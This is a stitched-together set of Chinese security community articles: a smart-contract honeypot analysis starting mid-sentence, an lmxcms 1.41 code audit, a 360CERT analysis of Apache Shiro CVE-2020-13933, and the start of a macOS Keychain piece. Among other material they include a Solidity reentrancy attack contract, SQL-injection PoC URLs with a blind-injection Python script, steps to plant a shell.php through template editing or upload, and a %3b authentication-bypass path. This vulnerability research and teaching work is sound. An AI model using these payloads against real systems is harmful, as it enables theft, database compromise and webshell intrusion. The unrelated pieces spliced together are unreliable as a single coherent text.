wei`)。每次转账之后，最大转账上限都会缩小成原来的一半，当总转账数量大于等于 `100 finney`，那就可以取出庄家在初始化智能合约时放进的钱。
假设我们转账了 `x` 次，那我们最多可以转的金额如下：
50 + 50 * (1/2)^1 + 50 * (1/2)^2 + 50 * (1/2)^3 ...... 50 * (1/2)^x
根据高中的知识可以知道，该数字将会永远小于 `100`
50 * (1/2)^0 + 50 * (1/2)^1 + 50 * (1/2)^2 + 50 * (1/2)^3 ...... < 50 * 2
而智能合约中设置的赢取条件就是总转账数量大于等于 `100 finney`。这也就意味着，没有人可以达到赢取的条件！
### 0x04 黑客的漏洞利用
> 利用重入漏洞的The DAO事件直接导致了以太坊的硬分叉、利用整数溢出漏洞可能导致代币交易出现问题。
> [DASP TOP10](https://www.dasp.co/) 中的前三：
> 重入漏洞、访问控制、算数问题在这些蜜罐智能合约中均有体现。黑客在这场欺诈者的游戏中扮演着不可或缺的角色。
#### 4.1 私人银行(重入漏洞)：PrivateBank
* Github地址：[smart-contract-honeypots/PrivateBank.sol](https://github.com/thec00n/smart-contract-honeypots/blob/master/PrivateBank.sol) [Solidlity-Vulnerable/honeypots/PRIVATE_BANK.sol](https://github.com/misterch0c/Solidlity-Vulnerable/blob/master/honeypots/PRIVATE_BANK.sol)
* 智能合约地址：[0x95d34980095380851902ccd9a1fb4c813c2cb639](https://etherscan.io/address/0x95d34980095380851902ccd9a1fb4c813c2cb639#code)
* 合约关键代码如下：
function CashOut(uint _am)
{
if(_am<=balances[msg.sender])
{
if(msg.sender.call.value(_am)())
{
balances[msg.sender]-=_am;
TransferLog.AddMessage(msg.sender,_am,"CashOut");
}
}
}
了解过 `DAO` 事件以及重入漏洞可以很明显地看出，`CashOut()` 存在重入漏洞。
在了解重入漏洞之前，让我们先了解三个知识点：
1. `Solidity` 的代码执行限制。为了防止以太坊网络被攻击或滥用，智能合约执行的每一步都需要消耗 `gas`，俗称燃料。如果燃料消耗完了但合约没有执行完成，合约状态会回滚。
2. `addr.call.value()()`，通过 `call()` 的方式进行转账，会传递目前所有的 `gas` 进行调用。
3. 回退函数`fallback()`: 回退函数将会在智能合约的 `call` 中被调用。
如果我们调用合约中的 `CashOut()`，关键代码的调用过程如下图：
由于回退函数可控，如果我们在回退函数中再次调用 `CashOut()`， 由于满足 `_am<=balances[msg.sender]`
，将会再次转账，因此不断循环，直至 合约中以太币被转完或 `gas` 消耗完。
根据上述分析写出攻击的代码如下：
contract Attack {
address owner;
address victim;
function Attack() payable { owner = msg.sender; }
function setVictim(address target) { victim = target; }
function step1(uint256 amount) payable {
if (this.balance >= amount) {
victim.call.value(amount)(bytes4(keccak256("Deposit()")));
}
}
function step2(uint256 amount) {
victim.call(bytes4(keccak256("CashOut(uint256)")), amount);
}
// selfdestruct, send all balance to owner
function stopAttack() {
selfdestruct(owner);
}
function startAttack(uint256 amount) {
step1(amount);
step2(amount / 2);
}
function () payable {
victim.call(bytes4(keccak256("CashOut(uint256)")), msg.value);
}
}
模拟的攻击步骤如下：
1.正常用户`A`（地址：`0x14723a09acff6d2a60dcdf7aa4aff308fddc160c`）向该合约存入 `50 ether`。
2.恶意攻击者
`B`(地址：`0x583031d1113ad414f02576bd6afabfb302140225`)新建恶意智能合约Attack，实施攻击。不仅取出了自己存入的
`10 ether`，还取出了 `A` 存入的 `50 ether`。用户 `A` 的余额还是`50 ether`，而恶意攻击者 `B`
的余额也因为发生溢出变成
`115792089237316195423570985008687907853269984665640564039407584007913129639936`。
**虽然此时用户A的余额仍然存在，但由于合约中已经没有以太币了，所以A将无法取出其存入的50个以太币**
根据以上的案例可以得出如下结论：当普通用户将以太币存取该蜜罐智能合约地址，他的代币将会被恶意攻击者通过重入攻击取出，虽然他依旧能查到在该智能合约中存入的代币数量，但将无法取出相应的代币。
#### 4.2 偷梁换柱的地址(访问控制)：firstTest
* Github地址：[smart-contract-honeypots/firstTest.sol](https://github.com/thec00n/smart-contract-honeypots/blob/master/firstTest.sol)
* 智能合约地址：[0x42dB5Bfe8828f12F164586AF8A992B3a7B038164](https://etherscan.io/address/0x42dB5Bfe8828f12F164586AF8A992B3a7B038164#code)
* 合约关键代码如下：
contract firstTest
{
address Owner = 0x46Feeb381e90f7e30635B4F33CE3F6fA8EA6ed9b;
address emails = 0x25df6e3da49f41ef5b99e139c87abc12c3583d13;
address adr;
uint256 public Limit= 1000000000000000000;
function withdrawal()
payable public
{
adr=msg.sender;
if(msg.value>Limit)
{
emails.delegatecall(bytes4(sha3("logEvent()")));
adr.send(this.balance);
}
}
}
逻辑看起去很简单，只要在调用 `withdrawal()` 时发送超过 `1 ether`，该合约就会把余额全部转给发送者。至于通过
`delegatecall()` 调用的 `logEvent()`，谁在意呢？
在 `DASP TOP10` 的漏洞中，排名第二的就是访问控制漏洞，其中就说到 `delegatecall()` 。
`delegatecall()` 和 `call()` 功能类似，区别仅在于 `delegatecall()`
仅使用给定地址的代码，其它信息则使用当前合约(如存储，余额等等)。这也就意味着调用的 `logEvent()` 也可以修改该合约中的参数，包括 `adr`。
举个例子，在第一个合约中，我们定义了一个变量 `adr`，在第二个合约中通过 `delegatecall()` 调用第一个合约中的
`logEvent()`。第二个合约中的第一个变量就变成了 `0x1111`。这也就意味着攻击者完全有能力在 `logEvent()` 里面修改 `adr`
的值。
为了验证我们的猜测，使用 `evmdis` 逆向 `0x25df6e3da49f41ef5b99e139c87abc12c3583d13` 地址处的
`opcode`。`logEvent()` 处的关键逻辑如下：
翻译成 `Solidity` 的伪代码大致是：
function logEvent(){
if (storage[0] == 0x46FEEB381E90F7E30635B4F33CE3F6FA8EA6ED9B){
storage[2] = address of current contract;
}
}
这也就意味着，在调用蜜罐智能合约 `firstTest` 中的 `withdrawal()`
时，`emails.delegatecall(bytes4(sha3("logEvent()")));` 将会判断第一个变量 `Owner` 是否是
`0x46FEEB381E90F7E30635B4F33CE3F6FA8EA6ED9B`，如果相等，就把 `adr`
设置为当前合约的地址。最终将会将该合约中的余额转给当前合约而非消息的发送者。`adr` 参数被偷梁换柱!
#### 4.3 仅仅是测试？(整数溢出)：For_Test
* Github地址：[Solidlity-Vulnerable/honeypots/For_Test.sol](https://github.com/misterch0c/Solidlity-Vulnerable/blob/master/honeypots/For_Test.sol)
* 智能合约地址：[0x2eCF8D1F46DD3C2098de9352683444A0B69Eb229](https://etherscan.io/address/0x2eCF8D1F46DD3C2098de9352683444A0B69Eb229#code)
* 合约关键代码如下：
pragma solidity ^0.4.19;
contract For_Test
{
function Test()
payable
public
{
if(msg.value> 0.1 ether)
{
uint256 multi =0;
uint256 amountToTransfer=0;
for(var i=0;i<msg.value*2;i++)
{
multi=i*2;
if(multi<amountToTransfer)
{
break;
}
else
{
amountToTransfer=multi;
}
}
msg.sender.transfer(amountToTransfer);
}
}
}
在说逻辑之前，我们需要明白两个概念：
1. `msg.value` 的单位是 `wei`。举个例子，当我们转 `1 ether` 时，`msg.value = 1000000000000000000 (wei)`
2. 当我们使用 `var i`时，`i` 的数据类型将是 `uint8`，这个可以在 `Solidity` [官方手册](https://solidity.readthedocs.io/en/v0.4.24/frequently-asked-questions.html)上找到。
如同官方文档所说，当 `i = 255` 后，执行 `i++`，将会发生整数溢出，`i` 的值重新变成 `0`,这样循环将不会结束。
根据这个智能合约的内容，只要转超过 `0.1 ether` 并调用 `Test()` ，将会进入循环最终得到 `amountToTransfer`
的值，并将 `amountToTransfer wei` 发送给访问者。在不考虑整数溢出的情况下，`amountToTransfer` 将会是
`msg.value * 2`。这也是这个蜜罐合约吸引人的地方。
正是由于 `for` 循环中的 `i` 存在整数溢出，在 `i=255` 执行 `i++` 后, `i = 0` 导致 `multi = 0 <
amountToTransfer`,提前终止了循环。
细细算来，转账至少了 `0.1 ether(100000000000000000 wei)` 的以太币，该智能合约转回 `510 wei`
以太币。损失巨大。
与之类似的智能合约还有 `Test1`：
* Github地址：[smart-contract-honeypots/Test1.sol](https://github.com/thec00n/smart-contract-honeypots/blob/master/Test1.sol)
#### 4.4 股息分配（老版本编译器漏洞）：DividendDistributor
* Github地址：[Solidlity-Vulnerable/honeypots/DividendDistributor.sol](https://github.com/misterch0c/Solidlity-Vulnerable/blob/master/honeypots/DividendDistributor.sol)
* 智能合约地址：[0x858c9eaf3ace37d2bedb4a1eb6b8805ffe801bba](https://etherscan.io/address/0x858c9eaf3ace37d2bedb4a1eb6b8805ffe801bba#code)
* 合约关键代码如下：
function loggedTransfer(uint amount, bytes32 message, address target, address currentOwner) protected
{
if(! target.call.value(amount)() )
throw;
Transfer(amount, message, target, currentOwner);
}
function divest(uint amount) public {
if ( investors[msg.sender].investment == 0 || amount == 0)
throw;
// no need to test, this will throw if amount > investment
investors[msg.sender].investment -= amount;
sumInvested -= amount;
this.loggedTransfer(amount, "", msg.sender, owner);
}
该智能合约大致有存钱、计算利息、取钱等操作。在最开始的分析中，笔者并未在整个合约中找到任何存在漏洞、不正常的地方，使用 `Remix`
模拟也没有出现任何问题，一度怀疑该合约是否真的是蜜罐。直到打开了智能合约地址对应的页面：
在 `Solidity 0.4.12`
之前，存在一个[bug](https://etherscan.io/solcbuginfo?a=SkipEmptyStringLiteral)，如果空字符串
`""` 用作函数调用的参数，则编码器会跳过它。
举例：当我们调用了 `send(from,to,"",amount)`， 经过编译器处理后的调用则是 `send(from,to,amount)`。
编写测试代码如下：
pragma solidity ^0.4.0;
contract DividendDistributorv3{
event Transfer(uint amount,bytes32 message,address target,address currentOwner);
function loggedTransfer(uint amount, bytes32 message, address target, address currentOwner)
{
Transfer(amount, message, target, currentOwner);
}
function divest() public {
this.loggedTransfer(1, "a", 0x1, 0x2);
this.loggedTransfer(1, "", 0x1, 0x2);
}
}
在 `Remix` 中将编译器版本修改为 `0.4.11+commit.68ef5810.Emscripten.clang`后，执行 `divest()`
函数结果如下：
在这个智能合约中也是如此。当我们需要调用 `divest()` 取出我们存进去的钱，最终将会调用 `this.loggedTransfer(amount,
"", msg.sender, owner);`。
因为编译器的 `bug`，最终调用的是 `this.loggedTransfer(amount, msg.sender,
owner);`，具体的转账函数处就是 `owner.call.value(amount)` 。成功的将原本要转给 `msg.sender()`的以太币转给
`合约的拥有者`。合约拥有者成功盗币！
### 0x05 后记
在分析过程中，我愈发认识到这些蜜罐智能合约与原始的蜜罐概念是有一定差别的。相较于蜜罐是诱导攻击者进行攻击，智能合约蜜罐的目的变成了诱导别人转账到合约地址。在欺骗手法上，也有了更多的方式,
**部分方式具有强烈的参考价值，值得学习。**
这些蜜罐智能合约的目的性更强，显著区别与普通的 `钓鱼` 行为。相较于钓鱼行为面向大众，蜜罐智能合约主要面向的是
`智能合约开发者`、`智能合约代码审计人员` 或
`拥有一定技术背景的黑客`。因为蜜罐智能合约门槛更高，需要能够看懂智能合约才可能会上当，非常有针对性，所以使用 `蜜罐` 这个词，我认为是非常贴切的。
这也对 `智能合约代码审计人员` 提出了更高的要求，不能只看懂代码，要了解代码潜在的逻辑和威胁、了解外部可能的影响面（例如编辑器 `bug`
等），才能知其然也知其所以然。
对于 `智能合约代码开发者` 来说，`先知攻` 才能在代码写出前就拥有一定的警惕心理，从源头上减少存在漏洞的代码。
目前智能合约正处于新生阶段，流行的 `solidity` 语言也还没有发布正式 `1.0`
版本，很多语⾔的特性还需要发掘和完善；同时，区块链的相关业务也暂时没有出现完善的流水线操作。正因如此，在当前这个阶段智能合约代码审计更是相当的重要，合约的部署一定要经过严格的代码审计。
最后感谢 `404实验室` 的每一位小伙伴，分析过程中的无数次沟通交流，让这篇文章羽翼渐丰。
* * *
针对目前主流的以太坊应用，知道创宇提供专业权威的智能合约审计服务，规避因合约安全问题导致的财产损失，为各类以太坊应用安全保驾护航。
知道创宇404智能合约安全审计团队： <https://www.scanv.com/lca/index.html>
联系电话：(086) 136 8133 5016(沈经理，工作日:10:00-18:00)
欢迎扫码咨询：
### 0x06 参考链接
1. [Github smart-contract-honeypots](https://github.com/thec00n/smart-contract-honeypots/)
2. [Github Solidlity-Vulnerable](https://github.com/misterch0c/Solidlity-Vulnerable/)
3. [The phenomenon of smart contract honeypots](https://medium.com/@gerhard.wagner/the-phenomena-of-smart-contract-honeypots-755c1f943f7b)
4. [Solidity 中文手册](https://solidity-cn.readthedocs.io/zh/develop/index.html)
5. [Solidity原理（一）：继承(Inheritance)](https://blog.csdn.net/Programmer_CJC/article/details/80042261)
6. [区块链安全 - DAO攻击事件解析](https://paper.seebug.org/544/)
7. [以太坊智能合约安全入门了解一下](https://paper.seebug.org/601/)
8. [Exposing Ethereum Honeypots](https://www.reddit.com/r/ethereum/comments/7xvoui/exposing_ethereum_honeypots/)
9. [Solidity Bug Info](https://etherscan.io/solcbuginfo)
10. [Uninitialised storage references should not be allowed](https://github.com/ethereum/solidity/issues/1789)
### 0x07 附录：已知蜜罐智能合约地址以及交易情况
基于已知的欺骗手段，我们通过内部的以太坊智能合约审计系统一共寻找到 `118` 个蜜罐智能合约地址，具体结果如下：
下载地址：[下载](https://images.seebug.org/archive/transactions.csv)
* * * | 社区文章 |
一直想写代码审计之类的文章，但是迟迟没有写，一是因为不知道怎么写(很少写文章)，二呢就是懒癌晚期....哈哈哈，开玩笑，开始今天的代码审计之旅。
本期审计的cms为lmxcms(梦想cms)
版本：lmxcms1.41
下载链接：<http://www.lmxcms.com/down/xitong/20210530/14.html>
很适合新手练习哦。
ok，废话结束，直接进入正题，
1，首先搭建网站，载入咋的lmxcms，我使用的是phpstudy。这一步相信各位师傅应该都知道，我就不啰嗦了。
2,网站搭建好之后，将代码载入PhpStorm，各位师傅也可以使用其他工具，看个人习惯！
这次代码审计我选择白加黑的形式进行审计，其优点就是能更快的发现漏洞，但是相应的缺点就是审计的不太全面，
**漏洞1-前台sql注入：**
首先进入网站，查看网站有什么功能点，这里发现前台有留言框....首先想到的应该是xss，
那么我们进入到源码来看看：
由于这是mvc架构，需要找到其路由，由于篇幅问题，影响阅读体验，所以不做分析，需要了解的可以联系我，或者自行百度。
进入到根目录下c/index/BookAction.class.php，查看index方法：
直接跟进checkData方法，checkData方法是接收我们提交的数据的，很重要！！直接跟进，在PhpStorm跟进的快捷键(ctrl加鼠标点击该方法)
好了，上图标注的很明显了，首先分析filter_strs，直接跟进该函数，
可以看到遍历的全部参数值(键值对的值)，然后对传入的参数进行解码及去除html标签及替换%为空，就是下面三个函数的功能，不清楚的师傅可百度查看，也就是说filter_strs函数没有过滤sql注入相关的内容，
进入回到前面，分析P函数，直接跟进
直接跟进filter_sql函数：
可以发现filter_sql函数是过滤sql注入的，但是这些并不能阻止我们....
继续返回前面，可以看到下面存在addslashes函数，相信各位师傅不会陌生吧,简单点说就是转义单双引号，反斜杠及null....完完全全的防注入函数啊....直接痛苦面具了啊，但是要记住天无绝人之路，仔细看，这些过滤函数只过滤了值，没有过滤间。就是$k,所以应该还有希望，继续分析。
直接回到最开始的代码，直接进入add函数：
看看其内容：
继续跟进addModel：
继续：
直接提交留言，抓包，
当我们在mail后面添加)让sql语句错误时：
嗯？那么怎么构造语句呢？
首先连接数据库查看该表的其他信息，
看看这一列是什么？回到留言页面看看。
那么很明显了，这列大概率是让留言是否显示的信息了，那么我们就可以构造数据包，闭合INSERT语句了，实现我们的sql注入自由了..
构造如下：
解析下为什么使用time,ischeck),应为最后写入sql语句时，是遍历data数组，我们是在post传参时就将time写入data数组了，而代码本身是在post之后将time加入data数组的，所以我们传入的time比代码本身靠前，顾可以忽略代码本身time，实现我们的注入自由，这里就示范爆出用户名
查看页面：
如果想用sqlmap的话，只用在VALUES括号内其他其他参数加心号即可，但是个人建议手注，sqlmap会产生大量垃圾数据。
**2.sql前台注入：**
看到首页有搜索框，会不会有sql注入？
当我搜索c时，
[http://192.168.80.1:98/index.php?m=Search&a=index&classid=5&tem=index&field=title&keywords=c](http://192.168.80.1:98/index.php?m=Search&a=index&classid=5&tem=index&field=title&keywords=c)
直接找到相应代码文件，
跟进接收参数的函数：
这里必须存在keywords值，否则程序退出，下面还有几个参数可以增加，我们跟踪程序,将param数组给了$arr数组，然后带入了searchCoutn函数，跟进再跟进，
我们回到最开始传参的地方，可以看到P函数接收的时候是P(2,1,1)，get传参并且转义单引号，过滤了部分函数,将参数一一带入数据包查看，
参数这些：
我测试的是remen，当然其他的也可以，只是构造的问题，具体我没有试过，各位师傅可以试试。
使用remen参数时：
可以看到sql语是：
SELECT count(1) FROM lmx_product_data WHERE time > 1618420231 AND remen=2 AND classid in(11,12,13,14,5) AND (title like '%c%') ORDER BY id desc
这样我们就可以操作remen了
poc：
/index.php?m=Search&a=index&classid=5&tem=index&field=title&keywords=c&remen=2%20or%20(if(ascii(substr(database(),1,1))=0x6c,1,0))--+
返回长度是7973，如果if是否，
poc：
/index.php?m=Search&a=index&classid=5&tem=index&field=title&keywords=c&remen=2%20or%20(if(ascii(substr(database(),1,1))=0x6a,1,0))--+
写py脚本：
import requests
url = "http://192.168.80.1:98?m=search&keywords=b&mid=1&remen=1 or (if(ascii(substr(database(),{},1))={},1,0))--+"
sjk = ""
for i in range(1, 7):
for j in range(80, 180):
cl = url.format(i, hex(j))
res = requests.get(cl)
if len(res.text) > 6000:
sjk += chr(j)
print(sjk)
**3.后台任意文件删除：**
进入后台，看到文件管理目录，可以删除文件，那么会不会有任意文件删除呢？
那我们选择一个图片删除，抓包看看数据包的情况：
看看那串加密的内容是什么：
这种路径？大概率存在任意文件删除，我们找到相应的文件位置，
c/admin/FileAction.class.php
这里使用post传参接收fid的参数，判断是否为空，不为空进入下一步，我们跟进delete函数，
这里没有什么过滤，只是要求fid接收前面存在#####即可，那么好，我们为了不破坏源码，我们在install目录下创建1.txt，如果删除install_ok.txt就会重装环境，我们更改fid的参数
可以看到提示删除成功，
实际也删除成功。
**4.后台任意文件写入**
找到后台的模板管理的地方，像这种地方一般都存在漏洞，比如目录遍历，文件写入，文件删除，这里，只分析文件写入：
这里我感觉应该有目录遍历漏洞，但时当我看到源码时....
是可以遍历，但是呢设置了白名单，只允许某些后缀文件显示，作用不大。
当我们继续进入，点击编辑模板时，希望又像雨水般向我打来：
直接抓个包看看，是什么东西：
看看源码可以可以改一下路径呢？
那么我们直接把路径改到根目录的index.php下，
可以发现显示了index.php的内容，那么我们尝试改一下内容
写入一个phpinfo试试水，提交抓包一气呵成：
可以看到咋的phpinfo在里面，看看源码接下来怎么操作的：
进入了if判断，直接看 file::put函数：
file_put_contents函数解释：
很好啊，那么我为什么要写在他的文件里呢？？？那就随便写吧
1.写入原来的php文件内：
访问首页：
2.自己创建文件写入：
直接访问首页下的shell.php
5.任意文件上传：
看到上传图片的地方：
当我们看到后台上传图片的时候，是不是很有想法呢？我也一样，所以我很厚到的上传了一张图片，抓包，改成了php文件，提示：
上传失败.....可恶，怎么办呢？看看源码吧
根据我的经验，绝对对是这里进行了判断拦截，跟进去看一下，
从upload函数放下跟，跟到了：
这个判断了文件后缀
我们看一下config['fix']数组的内容：
继续追踪config['upload_image_pre']：
存在于c/admin/UploadAction.class.php下的set方法，也就是在后台管理界面的
既然知道了后缀的控制，那么我们就增加php后缀(上图的php是我加的...)，增加php后缀，我已近增加，
直接上传php：
然后直接访问返回的路径：
okok，结束。
**5.后台sql注入，若干....很多很多....**
进入如下页面：
认真填写http，其他随便写，提交抓包：
直接跟进相关代码：
跟进check函数，
所以想单引号注入，几乎不可能了，看看执行的sql语句：
提交看看语句：
这叫什么？这就是天无绝人之路，直接保存为txt文件，id=2后面加新号，放入sqlmap。
okok直接注入。
ennn....后台注入特别多，我只说其中一例.....
各位师傅想练习的话可以去试试，真的真的特别多，两只手都数不过来......
**结尾：**
感谢各位师傅的阅读，文章技术含量不高，而且过程我感觉写的很清楚....各位师傅可以下载源码来看看，特别建议刚学审计的师傅们审计学习这套源码,如果有什么问题请联系我，感谢大家。 | 社区文章 |
# CVE-2020-13933：Apache Shiro 权限绕过漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：Hu3sky@360CERT
## 0x01 漏洞简述
2020年08月18日， 360CERT监测发现 `Apache Shiro` 发布了 `Apahce Shiro` 权限绕过 的风险通告，该漏洞编号为
`CVE-2020-13933`，漏洞等级：高危，漏洞评分：`8.0`。
`Apahce Shiro` 由于处理身份验证请求时出错 存在
权限绕过漏洞，远程攻击者可以发送特制的`HTTP`请求，绕过身份验证过程并获得对应用程序的未授权访问。
对此，360CERT建议广大用户及时将 `Apache Shiro` 升级到最新版本。与此同时，请做好资产自查以及预防工作，以免遭受黑客攻击。
## 0x02 风险等级
360CERT对该漏洞的评定结果如下
评定方式 | 等级
---|---
威胁等级 | 高危
影响面 | 广泛
360CERT评分 | 8.0分
## 0x03 影响版本
* Apache Shiro < 1.6.0
## 0x04 漏洞详情
### 相关概念
`shiro`的架构图为：
其中最主要的是 `Subject`,`SecurityManager`,`Realms`。
Subject：主体，代表了当前“用户”，这个用户不一定是一个具体的人，与当前应用交互的任何东西都是Subject，如网络爬虫，机器人等；即一个抽象概念；所有Subject都绑定到SecurityManager，与Subject的所有交互都会委托给SecurityManager；可以把Subject认为是一个门面；SecurityManager才是实际的执行者；
SecurityManager：安全管理器；即所有与安全有关的操作都会与SecurityManager交互；且它管理着所有Subject；可以看出它是Shiro的核心，它负责与后边介绍的其他组件进行交互，如果学习过SpringMVC，你可以把它看成DispatcherServlet前端控制器；
Realm：域，Shiro从从Realm获取安全数据（如用户、角色、权限），就是说SecurityManager要验证用户身份，那么它需要从Realm获取相应的用户进行比较以确定用户身份是否合法；也需要从Realm得到用户相应的角色/权限进行验证用户是否能进行操作；可以把Realm看成DataSource，即安全数据源。
### 漏洞原理
利用`idea`搭建`springboot+shiro`进行测试，`shiro`版本为`1.5.3`。
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.5.3</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-web</artifactId>
<version>1.5.3</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-spring</artifactId>
<version>1.5.3</version>
</dependency>
构建测试代码。
@Configuration
public class ShiroConfig {
@Bean
public MyRealm myRealm()
{
return new MyRealm();
}
@Bean
public SecurityManager securityManager() {
DefaultWebSecurityManager manager = new DefaultWebSecurityManager();
manager.setRealm(myRealm());
return manager;
}
//filter工厂.设置对应的过滤条件和跳转条件
@Bean
public ShiroFilterFactoryBean shiroFilter() {
ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
// 设置 SecurityManager
bean.setSecurityManager(securityManager());
bean.setLoginUrl("/login");
Map<String, String> filterMap = new LinkedHashMap<>();
// anon：匿名用户可访问
filterMap.put("/login","anon");
// authc：认证用户可访问
filterMap.put("/read/*", "authc");
bean.setFilterChainDefinitionMap(filterMap);
return bean;
}
}
具体权限对应的定义在`DefaultFilter`类里。
访问`/read/xx`，被302重定向到了`/login`：
而`/read/%3bxxx`，能够绕过认证：
`ant`风格的路径仅出现一个`*`时才能成功，而`**`无法绕过，具体原因后面会说。
先来看看`shiro`的拦截器基础类。
部分拦截器的作用：
PathMatchingFilter: 提供了基于Ant风格的请求路径匹配功能及拦截器参数解析的功能。
OncePerRequestFilter: 过滤器基类，该基类保证每个请求在任何servlet容器上仅执行一次，另外提供enabled属性，表示是否开启该拦截器实例，默认enabled=true表示开启，如果不想让某个拦截器工作，可以设置为false即可。
AbstractShiroFilter: 是Shiro的入口，根据URL配置的filter，选择并执行相应的filter chain。
### shiro层
#### shiro 过滤器链调用
接着从源码来分析一下这个漏洞，首先是过滤器的调用，经过`ApplicationFilterChain`，请求被分派到`OncePerRequestFilter`过滤器进行拦截，首先调用`getAlreadyFilteredAttributeName`给我们的自定义过滤器打上标记，并通过判断当前请求中是否有该标记来判断该拦截器是否已经调用过，接着判断是否标记该拦截器不进行工作，
如果都没有，那么调用`doFilterInternal`方法，这里调用的是其子类`AbstractShiroFilter#doFilterInternal`方法，解析`request`和`response`。接着根据请求利用`SecurityManager`创建`WebSubject`接口类型的实例，这里采用的是建造者模式。
返回`WebDelegatingSubject`，然后调用`Subject`的`execute`方法，这里是一个回调，
接着在回调里调用`executeChain`，然后调用`getExecutionChain`，这里`getFilterChainResolver`返回`PathMatchingFilterChainResolver`，是在初始化`ShiroFilterFactoryBean`里设置的，具体流程不进行分析，该类用于解析出此次请求需要执行的`Filter`链，在`PathMatchingFilterChainResolver`内部由`FilterChainManager`维护着拦截器链，比如`DefaultFilterChainManager`实现维护着`url`模式与拦截器链的关系。
看下`getChain`，首先获取`FilterChainManager`，也就是`DefaultFilterChainManager`，`DefaultFilterChainManager`默认添加`DefaultFilter`中声明的拦截器。
#### shiro url 处理
接着调用`getPathWithinApplication`方法。
跟到`WebUtils#getPathWithinApplication`方法，
**这里`Shiro`对`url`的处理也是造成`CVE-2020-11989`的一个点。左边是修复之前的1.5.2版本，右边是当前版本1.5.3，采用`getRequestUri`，而`getRequestUri`里就进行了`url`的解码。**
修复之后，采用了标准的`url`解析，不再对`%2f`解码。
`getServletPath`方法将`%3b`进行了解码，返回结果如下。
接着调用`removeSemicolon`，该方法查找`;`，并将`;`及其之后的部分删除，最后再调用`normalize`，用于操作`.`和`/`所带来的影响。本次测试返回`/read/`。
接着如果请求的不是`/`，就去除末尾的`/`，也就是`/read`。
接着获取`filterChains`所对应的`filter`，将处理后的`url`进行匹配。
#### shiro url 匹配
在`org.apache.shiro.util.AntPathMatcher#doMatch`。
这里把我们定义的`ant`风格的`path`和请求的`path`都以`/`进行拆分存入数组，`pattDirs`和`pathDirs`。
`pattern`最后一位是`*`，于是返回`false`。
如果是`**`，会返回`true`，返回`true`的话，就会根据`config`里设置`url`所对应
`filter`过滤条件，最后返回`ProxiedFilterChain`：
如果是`*`，返回`false`，那么会`return null`。
`resolved`也就是`null`，最后就返回`ApplicationFilterChain`，在`ApplicationFilterChain`里没有任何权限校验。
### spring 层
原则是`Shiro`会对`Servlet`容器的`FilterChain`进行代理，也就是正常情况下应该返回的`ProxiedFilterChain`，即先走`Shiro`自己的`Filter`体系，然后才会委托给`Servlet`容器的`FilterChain`进行`Servlet`容器级别的`Filter`链执行。但是我们利用`*`和`%3b`的配合绕过了，返回的依然是默认的`ApplicationFilterChain`，后续调用`chain.doFilter`。
#### spring url 处理
`spring`利用`DispatcherServlet`来分派请求，他的一个主要作用就是通过`HandlerMapping`，将请求映射到处理器。在处理过程中会调用`getHandler`方法。
跟进`getHandlerInternal`方法。
这里会调用 `UrlPathHelper#getLookupPathForRequest` 方法获取请求的相对路径。
继续调用`getPathWithinApplication`方法获取地址。
然后调用`getRequestUri`，这里调用`decodeAndCleanUriString`方法很明显的对`url`进行解码，也就是`/read/;xxxx`，于是最终`spring`处理返回的`url`就是`/read/;xxxx`。
调用完`getLookupPathForRequest`之后，就是获取请求路径的映射了。
#### spring 获取路径映射
跟入`lookupHandlerMethod`，在里面会根据请求的`url`在`RequestMappingHandlerMapping`对象中去匹配自定义`Controller`里的方法，而这些映射关系都是在初始化`RequestMappingHandlerMapping`对象的过程中，根据相关注解获取到的。
最后调用`getMatchingPatterns`，在`spring`的`AntPathMatcher#doMatch`里，将请求和配置里的`url`进行匹配，如果匹配成功，返回`true`，匹配之后，从`HandlerMapping`中取出该路径所映射的方法，然后通过反射去执行方法。
### 版本修复
在`shiro
1.6.0`版本中，针对`/*`这种`ant`风格的配置出现的问题，`shiro`在`org.apache.shiro.spring.web.ShiroFilterFactoryBean.java`中默认增加了`/**`的路径配置，以防止出现匹配不成功的情况。
而默认的`/**`配置对应了一个新增的类`org.apache.shiro.web.filter.InvalidRequestFilter`进行过滤，匹配到非法字符就会直接报错。
### 总结
该漏洞产生的原因主要是`shiro`层在处理`url`上和`spring`上存在差异，主要是在处理`;`上的问题，通过构造含有`;`符号的`url`即可绕过`shiro`在权限上的处理，而`spring`不负责权限管控，所以最终会导致权限绕过。
## 0x05 时间线
**2020-08-17** Apache Shiro发布通告
**2020-08-18** 360-CERT 发布预警
**2020-09-22** 360-CERT 发布分析
## 0x06 参考链接
1. [CVE-2020-13933: Apache Shiro 权限绕过漏洞通告](https://cert.360.cn/warning/detail?id=c87aa6c45ba60b04916c60c1c4d36543)
2. [第八章 拦截器机制——《跟我学Shiro》](https://www.iteye.com/blog/jinnianshilongnian-2025656)
3. [SpringMVC源码解析（四）——请求处理](https://www.liangzl.com/get-article-detail-7369.html)
4. [【原创】005 | 搭上SpringBoot请求处理源码分析专车](https://juejin.im/post/6844904005336825870#heading-0)
5. [Apache Shiro 身份验证绕过漏洞 (CVE-2020-11989)](https://xlab.tencent.com/cn/2020/06/30/xlab-20-002/) | 社区文章 |
**作者：Yuebin Sun**
**原文链接：<https://rekken.github.io/>**
## 摘要
新冠病毒疫情出不了门，在家办公这两周笔者研究了一下 macOS 的 Security Framework。
本文主要分析 Security Framework 尤其是其中 Keychain 的架构，将 Security Framework
近一两年的历史漏洞做个整理。
## Security Framework 简介
Security Framework 主要负责为 App 提供认证与授权、安全数据存储与传输（Keychain，App Transport
Security）、代码签名、加密解密功能。
第三方 App 通过引用 Security Framework，使用 Apple 提供的 API 就可以直接使用这些功能，不用关心底层实现的细节。
但 Security Framework 都有哪些组件，又是如何构建起来的呢？
官方最近已经不再更新整体的架构图了，在 [Mac OS X Internals] 书里找到了一张整体架构图，目前来看重要组件的变化不是特别大，可以用来参考
## Keychain
Keychain 是 Security Framework 的重要组件，系统中保存的 WiFi 密码、Safari 保存的网站密码等都由 Keychain
组件负责管理。
Keychain 最早在 Mac OS 8.6 版本被引入，用于保存邮件系统（PowerTalk）的邮件服务器的登录凭据。现在的 Keychain
组件已经扩展了很多，可用于保存密码、加密密钥、证书以及 Notes，被 Apple 自身以及众多第三方应用使用。
